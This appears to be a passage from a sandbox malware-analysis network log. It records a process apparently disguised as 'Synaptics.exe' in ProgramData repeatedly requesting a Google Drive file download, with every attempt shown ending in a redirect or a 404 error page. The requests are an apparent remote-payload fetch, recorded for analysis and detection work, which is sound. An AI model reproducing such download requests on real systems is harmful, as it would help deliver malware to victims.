2024-12-30 03:59:41 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 35 61 70 64 59 48 4f 56 75 43 73 41 5a 6c 2d 36 78 53 6d 53 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="65apdYHOVuCsAZl-6xSmSg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:41 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49921	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:42 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-AtcnJdTZgXI1aOq-UyHpGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49922	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:42 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-AZ6BYy9Kwgf11juDmWI9gQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49923	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:42 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49924	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:42 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49928	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:43 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:43 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-GRbQFVXDdgVQoYDVrl-UJQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49929	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:43 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:43 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6UgqQLGk0pOkDiEQB7tGQfAtnR9Zrn-M0jz32kXc8TS-r-7w8W8WoC-5ZK6tHubqGjceBPNkE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:43 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-D_f3tEqjkMscKGBcSLhSLg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:43 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:43 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 6f 42 35 77 45 39 54 4b 4c 2d 61 42 39 49 52 31 41 33 41 67 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="ioB5wE9TKL-aB9IR1A3AgQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:43 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49931	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:43 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:43 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-acKrdUVhk3zLCwa70tgAkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49930	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:43 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:43 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5Ng-uflHtoCJ-JOnCI818gn1ayzlH_BF1ZEO-y20tKgbTg73JkmBmuVRmo56yzlxKKD78WB1I Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:43 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-G-Bj5WmIBPjDPw9VGvadDA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:43 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:43 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 7a 4a 6c 6e 45 61 7a 39 75 75 61 4e 67 46 53 70 30 56 6d 49 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="mzJlnEaz9uuaNgFSp0VmIA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:43 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49933	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:44 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-sSjLswB0OlnPnx0FZB_NLQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49932	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:44 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-j2UtMwApTsrGQ0BAuBOV7A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49934	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:44 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
